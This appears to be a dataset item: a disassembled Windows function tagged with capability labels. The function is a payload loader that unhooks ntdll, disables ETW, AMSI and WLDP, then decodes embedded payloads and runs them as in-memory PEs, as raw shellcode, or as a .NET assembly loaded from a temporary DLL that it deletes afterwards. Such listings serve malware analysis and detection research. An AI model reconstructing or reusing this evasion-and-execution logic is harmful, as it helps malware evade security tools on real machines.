Function at 0x140001713
Capabilities:
Delete file
Get common file path

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x678
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x620], ecx
mov qword [rbp + 0x628], rdx
call sym.__main
call dbg.LoadKernelFunctions()
lea rax, [rbp + 0x4ff]
mov qword [rbp + 0x5c0], rax
nop
nop
lea rdx, [rbp + 0x4ff]
lea rax, [rbp + 0x4d0]
mov r8, rdx
lea rdx, str.c:windows_system32_ntdll.dll
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x52f]
mov qword [rbp + 0x5c8], rax
nop
nop
lea rdx, [rbp + 0x52f]
lea rax, [rbp + 0x500]
mov r8, rdx
lea rdx, str.ntdll.dll
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::basic_string<std::allocator<wchar_t> >(wchar_t const*, std::allocator<wchar_t> const&)
lea rdx, [rbp + 0x4d0]
lea rax, [rbp + 0x500]
mov rcx, rax
call dbg.ReloadDLL(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x500]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
nop
lea rax, [rbp + 0x4d0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
call dbg.DisableETW()
lea rax, [rbp + 0x4b0]
mov rcx, rax
call dbg.Decode()
lea rdx, [rbp + 0x4b0]
lea rax, [rbp + 0x530]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::vector(std::vector<unsigned char, std::allocator<unsigned char> > const&)
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x530]
mov rcx, rax
call dbg.DeserialisePTP(std::vector<unsigned char, std::allocator<unsigned char> >)
lea rax, [rbp + 0x530]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::~vector()
lea rax, [rbp + 0x490]
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call dbg.std::vector<Payload, std::allocator<Payload> >::begin()
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call dbg.std::vector<Payload, std::allocator<Payload> >::end()
mov qword [rbp + 0x480], rax
nop
lea rdx, [rbp + 0x480]
lea rax, [rbp + 0x488]
mov rcx, rax
call method.bool___gnu_cxx::operator_Payload__std::vector_Payload__std.allocator_Payload________gnu_cxx::__normal_iterator_Payload__std::vector_Payload__std::allocator_Payload______const____gnu_cxx::__normal_iterator_Payload__std::vector_Payload__std::al
xor eax, 1
test al, al
je 0x140001d1c
lea rax, [rbp + 0x488]
mov rcx, rax
call dbg.__gnu_cxx::__normal_iterator<Payload*, std::vector<Payload, std::allocator<Payload> > >::operator*() const
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 3
je 0x140001985
cmp eax, 3
jg 0x140001d09
cmp eax, 1
je 0x1400018c6
cmp eax, 2
je 0x14000194c
jmp 0x140001d09
lea rax, str._info__Load_PE_n
mov rcx, rax
call fcn.1400015e0
mov rax, qword [rbp + 0x5d8]
add rax, 8
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::data() const
mov rdx, rax
lea rax, [rbp + 0x478]
mov rcx, rax
call dbg.PortableExecutable::PortableExecutable(void*)
lea rax, [rbp + 0x478]
mov rcx, rax
call dbg.PortableExecutable::operator bool() const
test al, al
je 0x140001d1a
lea rax, str._info__Running_PE_n
mov rcx, rax
call fcn.1400015e0
mov rcx, qword [rbp + 0x628]
mov edx, dword [rbp + 0x620]
lea rax, [rbp + 0x478]
mov r8, rcx
mov rcx, rax
call dbg.PortableExecutable::operator()(int, char**) const
mov ebx, eax
nop
mov esi, 0
jmp 0x140001d21
mov rax, qword [rbp + 0x5d8]
add rax, 8
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::size() const
mov rsi, rax
mov rax, qword [rbp + 0x5d8]
add rax, 8
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::data() const
mov rdx, rsi
mov rcx, rax
call dbg.NaiveExec(unsigned char const*, unsigned long long)
jmp 0x140001d1b
call dbg.DisableAMSI()
call dbg.DisableWLDP()
lea rax, [rbp + 0x470]
mov rcx, rax
call dbg.MetaHost::MetaHost()
lea rax, [rbp + 0x468]
mov edx, 0
mov rcx, rax
call dbg.RuntimeInfo::RuntimeInfo(ICLRRuntimeInfo*)
lea rax, [rbp + 0x470]
mov qword [rbp + 0x5d0], rax
lea rax, [rbp + 0x430]
mov rdx, qword [rbp + 0x5d0]
mov rcx, rax
call dbg.MetaHost::begin()
lea rax, [rbp + 0x410]
mov rdx, qword [rbp + 0x5d0]
mov rcx, rax
call dbg.MetaHost::end()
jmp 0x140001a33
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x430]
mov rcx, rax
call dbg.MetaHost::iterator::operator*()
lea rax, [rbp + 0x450]
mov rax, qword [rax]
mov qword [rbp + 0x468], rax
lea rax, [rbp + 0x450]
mov rcx, rax
call dbg.RuntimeInfo::~RuntimeInfo()
lea rax, [rbp + 0x430]
mov rcx, rax
call dbg.MetaHost::iterator::operator++()
lea rdx, [rbp + 0x410]
lea rax, [rbp + 0x430]
mov rcx, rax
call dbg.MetaHost::iterator::operator==(MetaHost::iterator const&) const
xor eax, 1
test al, al
jne 0x1400019ee
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x468]
mov rcx, rax
call dbg.RuntimeInfo::GetInterface() const
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x4b0]
mov rcx, rax
call dbg.Base64Encode[abi:cxx11](std::vector<unsigned char, std::allocator<unsigned char> > const&)
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
lea rdx, [rbp + 0x200]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
lea rax, [rbp - 0x10]
mov rdx, rax
mov ecx, 0x105
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
lea rdx, [rbp + 0x200]
lea rax, [rbp - 0x10]
mov r9, rdx
mov r8d, 0
lea rdx, [0x140016056]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
call rax
lea rax, [rbp + 0x200]
mov rdx, rax
lea rax, str._info__Saving_loader_DLL_to__ls_n
mov rcx, rax
call fcn.1400015e0
lea rax, [rbp + 0x200]
mov rdx, rax
mov ecx, 0x3e8
call dbg.WriteResourceToDisk(unsigned long, wchar_t*)
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::basic_string()
mov dword [rbp + 0x5ec], 1
jmp 0x140001bfd
lea rax, [rbp + 0x5b7]
mov qword [rbp + 0x5b8], rax
nop
nop
mov eax, dword [rbp + 0x5ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov rdx, qword [rax]
lea rcx, [rbp + 0x5b7]
lea rax, [rbp + 0x590]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
mov rcx, rax
call dbg.Utf8ToUtf16(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x14001607a]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar
lea rdx, [rbp + 0x550]
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::operator+=(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > const&)
lea rax, [rbp + 0x550]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
lea rax, [rbp + 0x570]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
lea rax, [rbp + 0x590]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
add dword [rbp + 0x5ec], 1
mov eax, dword [rbp + 0x5ec]
cmp eax, dword [rbp + 0x620]
jl 0x140001b3c
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::operator+=(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > const&)
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::c_str() const
mov rcx, rax
lea rdx, [rbp + 0x200]
lea rax, [rbp + 0x460]
lea r8, [rbp + 0x45c]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
lea r9, [0x14001607e]
lea r8, str.PhotonNET.Loader
mov rcx, rax
call dbg.RuntimeHost::ExecuteInDefaultAppDomain(wchar_t const*, wchar_t const*, wchar_t const*, wchar_t const*, unsigned long*)
test eax, eax
setne al
test al, al
je 0x140001c80
lea rax, str._error__Failed_to_execute_app_n
mov rcx, rax
call fcn.1400015e0
call dbg.PrintError()
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
test eax, eax
sete al
test al, al
je 0x140001cb2
lea rax, str._error__Failed_to_delete_loader_library_n
mov rcx, rax
call fcn.1400015e0
call dbg.PrintError()
jmp 0x140001cc1
lea rax, str._info__Deleted_loader_library_n
mov rcx, rax
call fcn.1400015e0
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
lea rax, [rbp + 0x460]
mov rcx, rax
call dbg.RuntimeHost::~RuntimeHost()
lea rax, [rbp + 0x468]
mov rcx, rax
call dbg.RuntimeInfo::~RuntimeInfo()
lea rax, [rbp + 0x470]
mov rcx, rax
call dbg.MetaHost::~MetaHost()
jmp 0x140001d1b
lea rax, str._error__Invalid_payload_type_in_archive_n
mov rcx, rax
call fcn.1400015e0
jmp 0x140001d1b
nop
nop
mov esi, 1
lea rax, [rbp + 0x490]
mov rcx, rax
call dbg.std::vector<Payload, std::allocator<Payload> >::~vector()
cmp esi, 1
jne 0x140001d3c
mov esi, 1
jmp 0x140001d41
mov esi, 0
lea rax, [rbp + 0x4b0]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::~vector()
cmp esi, 1
jne 0x140001d5a
mov ebx, 0
mov eax, ebx
add rsp, 0x678
pop rbx
pop rsi
pop rdi
pop rbp
ret